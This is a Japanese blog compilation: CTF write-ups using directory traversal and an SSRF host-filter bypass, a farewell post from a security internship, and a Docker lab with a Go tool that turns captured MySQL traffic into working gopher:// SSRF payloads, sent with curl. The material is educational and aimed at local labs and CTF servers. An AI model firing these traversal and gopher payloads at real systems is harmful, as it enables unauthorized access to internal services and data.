やる

人生後方歩行

BambooFox CTFにWeb問題を解きに行った

書き出し

年末に時間が少しできたので、その空いた時間でWeb問題を解きに行った。

Web Newbie

問題

http://server

Hey, I just learned how to make a web application!

Even though I might create some vulnerabilities, but I bet you'll never get the flag!

The submitted files will be deleted every hour.

テキストデータを保存公開できるアプリケーションのような風貌の問題のサイト

flag

BAMBOOFOX{0hhh_n0_s7up1d_li77l3_8ug}

解法

  1. navにコメントアウトされたヒントがある
      <!--
      <li class="nav-item">
        <a class="nav-link" href="/myfirstweb/index.php?op=nav&link=hint">Hint</a>
      </li>
      -->

なかには

HINT
Flag is in ../flag.txt

と記載されていた。 2.ディレクトリとラバーサルがある - http://host/myfirstweb/index.php?op=nav&link=filepath - http://host/myfirstweb/index.php?op=view&file=filepathlinkfileディレクトリトラバーサルがある。 なのでこれらに../flag.txtを入れると

Error
Found flag format in content, no flag for you!

と出てくる。 3. そのまま指定する http://host/flag.txtと入れると出てくる

その他

実は2と3の間に何か他の脆弱性があってそれを利用するのではないかと思い探していたときに、ソースコードを抜き出せたので中身を見てみると、中身がNode.jsで動いていた。

HAPPY

問題

I prefer Jekyll for building my blog. Please try to read /home/web/flags/flag1.txt.

flag

BAMBOOFOX{251d19bd7cb60e72a3825d898bffcee5}

解法

特にpostしている箇所がなかったのでそのままpathを指定してあげたらflagを取得できた http://host/../../../../../../home/web/flags/flag1.txt

まとめ

問題を解いていると深読みしたり、逆に固執してしまうことがあるので、直していきたい。

GMOペパボ を退職した 学生エンジニア編

2019年12月12日、アルバイトをしていたGMOペパボへ業務上の最終出社をしました。ポジションとしてはセキュリティ対策室というサービスのセキュリティ強化や水先案内人のような業務を行う部署で学生エンジニアをしていました。

この記事では、振り返りと次のステップのための意気込みを書いていこうと思います。

目次

諸情報

GMOペパボ is ?

詳しくはこちらを見て貰えばわかるとは思うのですが、軽くどんな会社なのかを説明します。

"もっとおもしろくできる"という理念と"インターネットで、可能性をつなげる、ひろげる"というミッションを元に、国内最大級のハンドメイドマーケット「minne」やクリエイターのグッズ販売をサポートする「suzuri」、ホスティングの「lolipop」、ecサービスの「カラーミーショップ」、HP作成支援の「goope」などを展開している会社です。

バイトの概要

  • 期間
    • 1年3ヶ月
  • 職種
    • セキュリティエンジニア
  • 業務内容
    • サービスの脆弱性診断
    • インシデントレスポンスの支援ツールの内製
    • ツール作成
    • 社内のセキュリティ研修向けの教材の作成

ペパボ を知った経緯と入社

当時触っていたフレームワーク「Laravel」の勉強会で当時ペパボ で働いていたhypermktさんの"Passportのパスワードグラントで独自の認証を実装する方法"という発表や2018年のセキュリティキャンプ Bトラックで、当時ペパボ研究所の主席研究員の松本 亮介/まつもとりーさんの講義を聞きペパボ という会社をしりました。

その時は自分自身がバイトに行くとも考えておらず、「すごいエンジニアがいるすごい会社だなー!」程度の感想でした。

azara.hatenablog.com

セキュリティキャンプ後、それまで小規模なベンチャーで開発のインターンをしていたが、もっと自分の技術を磨いていきたい、チーム開発をもっと学びたいと思い学生のエンジニアバイトを募集している会社を探しました。

その時に見つけたのがセキュキャンや勉強会でみていた "GMOペパボ" でした。

その後、エントリーして面接へ。

初めて大きな会社の面接へ、正直面接前から緊張しっぱなしで何もかもがぎこちない状態でした。

面接は、Ruby のCoreメンバーのhsbtさんと会社の技術基盤を担当しているtnmtさんが担当してくれて、普段やっていることや今まで出たコンテストの話、セキュキャンの講義で学んだことについて話して面接は終了。結果は内定をいただき2018年の9月からセキュリティ対策室でアルバイトを始めました。

バイトの内容

Ruby on railsチュートリアル

社内のサービスがrailsでできているものもあるため、一度は触ってみようということでチュートリアルを実際にやってみた感じです。

PHPフレームワークは触ったことがあったので余裕だろと思い挑んだものの、railsのDRYを実践する文化や、テスト駆動の文化に圧倒されながら多くを学ぶことができました。

社内のセキュリティ研修向け教材の作成

社のmrtc0さんの開発したCureVuln問題文と脆弱性のあるページを作成し研修のサポートを行いました。

再現した脆弱性

  • XSS(反射型/蓄積型)
  • CSRF
  • 認証認可の不備
  • アクセス制御
  • セッション固定攻撃
  • docrootの閲覧可能

利用した技術
Docker/Nginx/MySQL/PHP

社内サービスの脆弱性診断(4サービス)

goopeやsuzuri people、カラミーアプリストア、2019年にジョインしたGMOクリエイターズネットワークのウーフーなどをmrtc0さんとペアになり進めて行き、指導のもと網羅的に診断を行いました。

OpenAPI SwaggerをBurpSuiteのrepeaterに展開するextensionの開発

Swaggerで定義されたAPIへの診断をもっと効率的に行うためにBurp SuiteのExtentionを作成しました。

関連ブログ

azara.hatenablog.com

補助用のSlack botを作成

VirusTotalへリンクやHashを投げ簡易的な判定を行うためのSlack botやサーバーのIPアドレスがどこのサービスに属しているか確認するBotを社内のk8sへあげBot牧場をつくっていました.

ポート監視の自動化と通知を行うツールのメンテナンス

nampを用い外部IPからのポート監視とその結果をSlackへ通知するツールのメンテナンスとそのツールの動作するサーバーの細かな管理をしました。

脆弱性情報のトリアージ業務

Slackに毎日JVNやNVDなどから収集してきた情報が流れており、その脆弱性がサービスへ影響するのかを確かめる業務をしていました。 f:id:oukasakura3:20191214173122p:plain

この業務の一環で、PHPimapモジュールの0day(当時)を再現した記事がこちら。

azara.hatenablog.com

その他

社内のサービスや■■■伏字■■■にバグハントをして数件脆弱性を報告をしたり、それが原因で後日変なファイルが生えてしまったり、アラートが上がったり、IPブロックが働いてしまったりと本番環境でミニやらかしてしまった状態になってしまったのは本当に申し訳ないです....

非破壊かと思ったら実は破壊していたり何かができてしまったりと診断って難しいなと思ういい経験でした。

社内の様子と周辺グルメ

残念なことに社内の様子を撮り忘れた....

様子

社内は固定席とフリーアドレスが存在しており、僕が座っていた場所はフリーアドレス(占有ロックをかけていたが)席で、近くにはホスティングの会社らしくUNIXプログラミングや詳解 Linuxカーネルなどの分厚い本やPerlRubyなどの言語に関する本がいっぱい! 社内では活発な意見交換がいろんなところで行われ、自分たちの携わるサービスをより良くしていこうと感じられました! また、お昼には勉強会やゲームをみんなでする風景も多く、みんな仲がいいなと思いました。

またイベントも多く、四半期に一度慰労会のような模様しものがあったり、PTF(Pepabo Tech Friday)という Tech ミーティングが月一で開かれたりと楽しい環境です!

tech.pepabo.com

福利厚生

GMOグループ共通の福利厚生として、Myカップを持っていくことで社内カフェ "Yours" でフリードリンク!しかも毎週金曜日はバーとしてお酒やご飯が飲み食べ放題!(有限個しか用意されていないのでなくなり次第終了)

お昼もフクラスYoursとセルリアンYoursの双方で要予約であるが無料で食べられお財布にやさしい!

f:id:oukasakura3:20191214155758j:plain
フクラスYoursの昼食

GMOペパボ としては、1泊2日の年末社員旅行にバイトでも参加できる! 東京と福岡、鹿児島各オフィスのパートナーが一箇所のホテルに泊まり、交流を深めることが目的です。詳しくはこちら

hr.pepabo.com

周辺ランチ

グルメ情報が長いので興味がある方はどうぞ

グルメ情報 とあるパートナーさんの行きつけのかんからという沖縄料理屋さん
f:id:oukasakura3:20191214163010j:plain
かんから ジューシー定食 冷やし沖縄そば
tabelog.com

優しく包んでくれるようなネパール料理 ネパリコ

f:id:oukasakura3:20191214164003j:plain
ダルバートノンベジ
tabelog.com

排骨担々麺の美味しいRenge no Gotoku

f:id:oukasakura3:20191214163455j:plain
冷やし排骨担々麺
tabelog.com

リーズナブルに回らない寿司が食べられる和泉鮨

f:id:oukasakura3:20191214163639j:plain
tabelog.com

無限にナンが出てくるカンティプール

f:id:oukasakura3:20191214163312j:plain
無限ナン
tabelog.com

美味しい蕎麦とどんもので生きていると感じるためにいくお店 蕎麦由々 金王庵 /

f:id:oukasakura3:20191214164545j:plain
蕎麦セット
tabelog.com

健康的だがクセになるカレー(オフィスから遠いのでいきにくいかった....) tabelog.com

他にも美味しいお店や飲み屋さんがあるのでぜひ渋谷に行った時はいきたいです!

振り返り

今振り返ってみると、入社直後は本当に技術や人間的にも未熟で、何もできていなかったなと感じるほど、この1年と3ヶ月がエンジニアとして、そして学生として成長できるものだったと感じます。

この期間にコーディング面ではクリーンアーキテクチャやDDD、テスト駆動開発という考え方を、環境面ではk8sやDockerをうまく扱えるようになったりandibleなどのツールも使えるようになりました。また、実践でしか経験できないようなことや事業会社のセキュリティ、そしてセキュリティエンジニアはどのようなものなのか、エンジニアとはどうあるべきなのかといった多くのことを間近で学ぶことができ大変勉強になりました。

これから

ひとまず来年の3月までSecHack365があるので、そちらに集中しながら、早期選考をしている会社さんにエントリーする就活生ムーブを決めていこうと考えています。

f:id:oukasakura3:20191213154945j:plain
忍者スリスリくんと自分のパソコン

最後に

ペパボ でエンジニアとして、そしてコード/システム/サービスに対する姿勢や考え方、そして技術を教えてくれたhibomaさんとmrtc0さん、CTOのあんちぽさん、室長のtamonさん、面接をしてくださりそのあとも気にかけていただいていたhsbtさんとつね(tnmt)さま、仲良くしてくださった技術部や多くのパートナーのみなさん、本当にお世話になりました。ありがとうございました!!

P.S endoさん、スマブラ初心者の僕をぼこぼこにしたのはずっと覚えているので覚悟しておいてください!(スマブラ持ってないけどいつの日か!)

P.S 年末の旅行には参加する予定です

学生向けに

百聞は一見にしかず!いまペパボでは ウィンターインターンを募集しているので是非応募して社内の様子を見にいこう!

open.talentio.com

社会人向け

楽しいセキュリティ対策室ではこんな募集があるのでぜひ! www.wantedly.com

www.wantedly.com

後付け

Twitter:

twitter.com

f:id:oukasakura3:20191213154856j:plain
以上!

docker間通信をtcpdumpしてpcapをいじる

IPFactory Advent Calendar 2019 14日目の予定だったが繰り上げて6日目(に代打投稿).

IPFactory 3年 azaraです

自分で意図して作ったパケットを見たいのとCTF Writeupで見た攻撃手法で面白そうだったGopherプロトコルMySQL叩いてみると言うのを試してみたかったのでこの機にやってみる。

前提情報

名称 バージョン
macOS Catalina 10.15.1
Docker version 19.03.5, build 633a0ea
Go Docker golang:latest

目次

いろんな通信を眺める

準備

まずはdocker-compose,client/Dockefile,app/Dockefileを書いていく。各個人でgolangの入ったappclientを用意してもらって、MySQLを用意してもらえればいいです。

僕が使ったのはこちら

File構造

.
├── app
│   ├── Dockerfile
│   └── src
├── cap
├── client
│   ├── Dockerfile
│   └── src
├── db
└── docker-compose.yml

docker networkの作成
dockerのIP固定のためにDockerNetworkを作成

docker network create \
--subnet 192.168.208.0/24 \
--gateway 192.168.208.254 \
docker-pcap

docker-compose.yml

version: "3"
services:

  db:
    image: mysql:5.7
    container_name: mysqlhost
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.2
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: test_database
      MYSQL_USER: docker
      MYSQL_PASSWORD: docker
      TZ: "Asia/Tokyo"
    command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
    volumes:
      - ./docker/db/data:/var/lib/mysql
      - ./docker/db/my.cnf:/etc/mysql/conf.d/my.cnf
      - ./docker/db/sql:/docker-entrypoint-initdb.d
    ports:
      - 3306:3306
      
  client:
    restart: always
    container_name: "client"
    build: ./client
    tty: true
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.3
    command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/client.pcap
    links:
      - db:mysqlhost
    volumes:
      - ./cap/:/tmp/cap
      
  app:
    restart: always
    build: ./app
    container_name: "app"
    working_dir: "/root/"
    ports:
      - 80:80
    tty: true
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.4
    command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/app.pcap
    volumes:
      - ./cap/:/tmp/cap
      
networks:
  docker-pcap:
    external:
      name: docker-pcap

client/Dockerfile

FROM golang:latest

RUN apt update
RUN apt -y install locales && \
    localedef -f UTF-8 -i ja_JP ja_JP.UTF-8
ENV LANG ja_JP.UTF-8
ENV LANGUAGE ja_JP:ja
ENV LC_ALL ja_JP.UTF-8
ENV TZ JST-9
ENV TERM xterm

RUN apt install -y nmap curl git wget tcpdump ltrace strace
COPY ./src /go/src/app
WORKDIR /go/src/app
RUN go get github.com/go-sql-driver/mysql
RUN go build .

app/Dockerfile

FROM golang:latest

RUN apt-get update
RUN apt-get -y install locales && \
    localedef -f UTF-8 -i ja_JP ja_JP.UTF-8
ENV LANG ja_JP.UTF-8
ENV LANGUAGE ja_JP:ja
ENV LC_ALL ja_JP.UTF-8
ENV TZ JST-9
ENV TERM xterm

RUN apt update -y && apt upgrade -y && apt install -y tcpdump
COPY ./src /go/src/app
WORKDIR /go/src/app

Pingを眺める

ここまできたらdocker-compose up -dappclientを実行して疎通確認をしていく。

各IPの対応表

name IP
mysqlhost(db) 192.168.208.2
client 192.168.208.3
app 192.168.208.4
❯ docker-compose exec client ping 192.168.208.4 -c 5
PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data.
64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.259 ms
64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.118 ms
64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.141 ms
64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.121 ms
64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.119 ms

--- 192.168.208.4 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4162ms
rtt min/avg/max/mdev = 0.118/0.151/0.259/0.056 ms

疎通の確認ができたので、docker-compose stopでサーバーを止めキャプチャ結果を見てみよう。

赤枠で囲った箇所が今回送ったpingの範囲。

普段疎通確認程度でしかpingを送っていなかったが詳しく見てみるとdataが送れるようだったので試しに送ってみようと思う。

pin data

ここでキャプチャしたpcapは(app|client)_ping.pcapとして保存しておく。

実際に送ってみた

#ひとまず適当な値をpad-byte(-p)に詰め込む
❯ docker-compose exec client ping 192.168.208.4 -c 5 -p ff61ff62ff63ff65
PATTERN: 0xff61ff62ff63ff65
PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data.
64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.174 ms
64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.127 ms
64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.144 ms
64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.155 ms
64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.141 ms

--- 192.168.208.4 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4151ms
rtt min/avg/max/mdev = 0.127/0.148/0.174/0.017 ms

するとデータには次のような結果が出てくる

48bytesになるまでパターンとして詰められたff61ff62ff63ff65が確認できる。

次にpacketsizeを大きくしてみたらどうなるのか?と思い投げつけてみる。

❯ docker-compose exec client ping 192.168.208.4 -c 1 -s 65467        
PING 192.168.208.4 (192.168.208.4) 65467(65495) bytes of data.
65475 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=2.82 ms

--- 192.168.208.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.826/2.826/2.826/0.000 ms

IPv4を1514bytes(内dataは1480bytes)を連続して送りICMP(echo request)を途中で送り、最後にICMP(echo reply)を返している。

pcap file

IPv4で送信されたdata(一部抜粋)

データ送信関係はひとまずこのくらいにしてdocker-compose stop && docker-compose rmを実行してコンテナを消しておく。

Nmapのスキャンを眺める

次はNmapを実行してどのような動きをしているかみていこう。

はじめに一つのポートをスキャンしてみる。

❯ dcexec client nmap -p 80 192.168.208.4       

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00016s latency).
PORT   STATE  SERVICE
80/tcp closed http
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds

ポートが単体の場合はARPを流して、二度80番ポートにスキャンをかけている。なぜ二度ポートスキャンをしているのか、検証は後日にする。

それでは80と443をスキャンした場合どうなるのか?

❯ dcexec client nmap -p 80,443 192.168.208.4           

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00014s latency).
PORT    STATE  SERVICE
80/tcp  closed http
443/tcp closed https
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

2つの場合は一つ一つのポートに流し込んでいる。

ここで取得したpcapは(app|client)_nmap80,443.pcap

次に1-10の10個のポートに対してスキャンをしていく。

❯ dcexec client nmap -p 1-10 192.168.208.4         

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.000085s latency).
PORT   STATE  SERVICE
1/tcp  closed tcpmux
2/tcp  closed compressnet
3/tcp  closed compressnet
4/tcp  closed unknown
5/tcp  closed rje
6/tcp  closed unknown
7/tcp  closed echo
8/tcp  closed unknown
9/tcp  closed discard
10/tcp closed unknown
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

不規則な順序でポートスキャンをしている。

不規則な順序にしない場合は-rをつけることで解決される。

❯ dcexec client nmap -r -p 1-10 192.168.208.4      

~~略~~

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

次に-Aをつけて検査をする。

❯ dcexec client nmap -A  192.168.208.4             

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00013s latency).
All 1000 scanned ports on app.docker-pcap (192.168.208.4) are closed
MAC Address: 02:42:C0:A8:D0:04 (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms app.docker-pcap (192.168.208.4)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds

はじめは通常のスキャンのようにランダムにポートをスキャンする。

ポートスキャン終了後に1番に対して何度かtcp通信の再送タイムアウト(TCP Retransmission)や重複したACK(TCP Dup ACK)が帰ってきている。

MySQLとのやりとりを眺める

続いてMySQLのやりとりをみていく。

client/src/main.go

package main

import (
    "database/sql"
    "log"
    _ "github.com/go-sql-driver/mysql"
)

var (
    dbms       = "mysql"
    credential = "docker:docker"
    testuser   = "test_user"
    access     = "tcp(db:3306)"
    dbname     = "test_database"
)

func main() {
    mysqlaccess := fmt.Sprintf("%v@%v/%v", credential, access, dbname)
    db, err := sql.Open(dbms, mysqlaccess)
    if err != nil {
        panic(err)
    }
    err = db.Ping()
    if err != nil {
        panic(err)
    }
    defer db.Close()
}

軽くgoで接続用のコードを書いて通信を見ていく。

docker-compose build 
docker-compose up -d
docker-compose exec client ./app 
docker-compose stop
docker-compose rm 

[y]

先ほど書いたコードの中で、Serverに挨拶 -> login -> db ping -> quitという一連の流れをしている。

3way hand shake

server greeting

MySQLプロトコルは、はじめに次のような挨拶を交わします。

今回の場合は、認証方式はmysql_native_passwordで各種saltなどをclientに送り通信を始めます。

Login Request

パスワードは先ほど受け取ったsaltを用いたハッシュを送信する。

コード内部でdbnameを指定しているので、今回はSchemaに名前が入っている。

Response Ok & Ping & Quit

Request OK

検証しそのユーザーが正しい場合はこのメッセージを返す。

Ping

Quit

このMySQLプロトコルにのっとってコマンドやMySQLの操作をする。

client/src/main.go

    // ~~前略~~
    if err != nil {
        panic(err)
    }
    err = db.Ping()
    if err != nil {
        panic(err)
    }
    _, err = db.Query("select @@version_comment limit 1")
    if err != nil {
        panic(err)
    }
    defer db.Close()
}

Query

Response

ここで取得したpcapをclient_mysql.pcapとして保存しておく

GoでGopherプロトコルを流すコードを書く

使うライブラリは https://github.com/google/gopacket

まずは手始めにMySQLの通信をGopher schemaに変換するコードを書く。

Gopher schemaで通信を行う場合gopher://host:port/_tcp stream(%Encoding)になるのでこの形式に整形しなければいけない。

例: MySQLのクライアント側のTCPストリーム

コードにするとこんな感じ

src/main.go

package main

import (
    "fmt"
    "strings"

    "github.com/google/gopacket/layers"

    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
)

var (
    pcapfile  = "../cap/client_mysql.pcap"
    mysqlhost = "192.168.208.2"
    client    = "192.168.208.3"
)

func main() {
    pcaphandle, err := pcap.OpenOffline(pcapfile)
    if err != nil {
        panic(err)
    }
    defer pcaphandle.Close()
    packetSource := gopacket.NewPacketSource(pcaphandle, pcaphandle.LinkType())
    //displayPacket(packetSource)
    convGopher(packetSource)
}

func convGopher(packetSource *gopacket.PacketSource) {
    var gopherpayload map[string]string
    gopherpayload = map[string]string{client: "", mysqlhost: ""}
    for packet := range packetSource.Packets() {
        ipv4l := packet.Layer(layers.LayerTypeIPv4)
        tl := packet.Layer(layers.LayerTypeTCP)
        ipv4, _ := ipv4l.(*layers.IPv4)
        if tl == nil || packet.ApplicationLayer() == nil {
            continue
        }
        tcp, _ := tl.(*layers.TCP)
        if tcp.FIN {
            break
        }
        if (client == ipv4.SrcIP.String() && mysqlhost == ipv4.DstIP.String()) || (mysqlhost == ipv4.SrcIP.String() && client == ipv4.DstIP.String()) {
            gopherpayload[ipv4.SrcIP.String()] += stringRawData(packet.ApplicationLayer().Payload(), "%", "")
        }
    }
    fmt.Printf("Gopher : \ngopher://%v:3306/_%v\n", mysqlhost, gopherpayload[client])
}

func stringRawData(payload []byte, hexTop, joinString string) (raw string) {
    var hexs = make([]string, len(payload))
    for i, v := range payload {
        hexs[i] = fmt.Sprintf("%s%02x", hexTop, v)
    }
    raw = strings.Join(hexs, joinString)
    return raw
}

この状態で接続自体が可能かを確かめてみる。

pwd     
/<file path>/docker-lab/src

❯ go run .
Gopher : 
gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31

❯ docker-compose build && docker-compose up -d                               
~~ 中略~~
Successfully built 50d1b4d43281
Successfully tagged docker-ssrf_app:latest
mysqlhost is up-to-date
app is up-to-date
client is up-to-date

❯ docker-compose exec client curl gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0
a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a
%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%6
5%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31
J
5.7.28dEX 5~|�����*[{g8+ubHmysql_native_passwordN�#28000Access denied for user 'docker'@'192.168.208.3' (using password: YES)

今回の場合MySQLにパスワードがかかっているので、パスワード認証プロセスが挟まれる。

MySQLのパスワード認証プロセスは次のような形となる。

  1. サーバーに挨拶
    • チャレンジレスポンスのためのソルトを送信
  2. クライアントはそのソルトとパスワードを元にレスポンスを生成
  3. レスポンスを送信後からDBの操作が可能となる

この場合MySQLを非対話形式で叩いてもMySQLは動作しません。

次にパスワードなしでやってみる。

client/src/main.go

//~~~前略~~~ 20行目
mysqlaccess := fmt.Sprintf("%v@%v/%v", testuser, access, dbname)
//~~~中略~~~ 31行目から quitコマンド送信のため
rows, err := db.Query("select @@version_comment limit 1")
if err != nil {
    panic(err)
}
err = rows.Close()
if err != nil {
    panic(err)
}
//~~~後略~~~

実行

docker-compose build
docker-compose up -d
docker-compose exec db mysql -r -e "create user 'test_user'@'192.168.208.3';grant all on *.* to 'test_user'@'192.168.208.3';" test_database
docker-compose exec client ./app
docker-compose stop
docker-compose rm

[y]

次のこのpcapを元にgopherを生成する。

❯ go run .
Gopher :
gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01

その後実行をすると次のように表示される。

>
docker-compose build
docker-compose up -d
docker-compose exec client curl gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01

J
5.7.28~Sx.
n?m�����X06Qu;c<5mysql_native_password'def@@version_comment
                                                           -p��MySQL Community Server (GPL)�
                                                    
                                                    
                                                    
>
docker-compose stop
docker-compose rm
[y]

dumpしたpcapを確認すると実際にMySQLプロトコルで通信をしていることがわかる。

以上!


参考
Docker doc
TCP Error
gopacketでpcapを読み込む
gopacket
SSRF攻击MySQL

SECCON CTF quals 2019に参加した

お前は何日まえの日記を書いているんだ?と言われそうだが一応足跡がわりに書き残しておこうと思って投稿します。

簡単な感想と役割

 ここ最近新しいチームに入って「CTFタノシイ」みたいな感じになってきたし、SECCONに出てみた。

 チーム内での役割はWeb問題をとく人だった。昨年出場した際は別のチームで何一問も解けず、時間とただただ溶かし人権がない状態になり最終的には誰もお前を愛さない状態になってしまっていたので、「今年もそうなるんかなー?」みたいなお気持ちでした。

 結果として一問解けたし、楽しい問題をプレイできたので満足しています。 f:id:oukasakura3:20191023200557p:plain

WriteUp

Option-Cmd-U

問題文

No more "View Page Source"!

http://ocu.chal.seccon.jp:10000/index.php

ほーん、便利やん。と言う感想から問題を解き始めた。

解法

該当ページにアクセスするとこんな感じにフォームがあったf:id:oukasakura3:20191023201712p:plain

URLを入れると"Option-Cmd-U"のようにHTMLを表示してくれるのだろうと思い入力。

するとこのようなコメントが見えるではないか。

<pre>
<!-- src of this PHP script: /index.php?action=source -->
<!-- the flag is in /flag.php, which permits access only from internal network :-) -->
<!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
</pre>

嬉しいことにソースコードが表示できるようなので表示してみる。

<?php
  if (isset($_GET['url'])){
        $url = filter_input(INPUT_GET, 'url');
        $parsed_url = parse_url($url);                        
        if($parsed_url["scheme"] !== "http"){
            // only http: should be allowed. 
            echo 'URL should start with http!';
        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
            // local access to nginx from php-fpm should be blocked.
            echo 'Oops, are you a robot or an attacker?';
        } else {
            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                             false,
                             stream_context_create(array(
                             'http' => array(
                                 'follow_location' => false,
                                 'timeout' => 2
                             )
                         ))));
        }
    }
                    ?>

事前に得たコメントアウトからの情報(permits access only from internal network)とコードを見た感じ、Flag入手の方法はhttp://[nginx hostname]:xxxx/flag.phpとなりそうなので、/docker-compose.ymlを見てdocker-compose内でのhostを確認するのが一番手っ取り早そう。

と私の頭の中ではならなかった。

確かに/docker-compose.ymlは見た。そこで私は何個のコンテナが動いているのか確認して終わってしまった。

私が次にとった行動が、/flag.phpへのアクセスだ。 アクセスをすると次のように自分のIPが表示される。

Forbidden.Your IP: xxx.xxx.xx.x

なのでひとまず先ほどのフォームにぶち込んでコンテナのIPを取得

Forbidden.Your IP: 172.25.0.1

取得後、このIPが実際にこのコンテナのものなのか確認するためにhttp://172.25.0.1:10000/flag.phpを入力し、このコンテナのIPであることを確証する。

docker-composeで動いているコンテナ数が2個だったので+-2くらいでNginxのIPにたどり着くと思いアドレスを加算、http://172.25.0.3:10000/flag.phpにアクセスした際に Oops, are you a robot or an attacker?が表示されたので、このIPがNginxのIPであると確信する。

次にif (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {の突破をしなくてはならない。このif文内できになるのはidn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)の部分

if (isset($_GET['url'])){
        $url = filter_input(INPUT_GET, 'url');
        $parsed_url = parse_url($url);                 
~~~中略~~~~
        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
            // local access to nginx from php-fpm should be blocked.
            echo 'Oops, are you a robot or an attacker?';
        } else {
~~~後略~~~

この$parsed_urlはidn_to_asciiを通す前にパースする前にidn_to_asciiを通しているので、Unicodeの互換文字を利用すれば突破できそう(今年度のBlackHatで発表されたHostSplit: Exploitable Antipatterns in Unicode Normalization を参考に)。

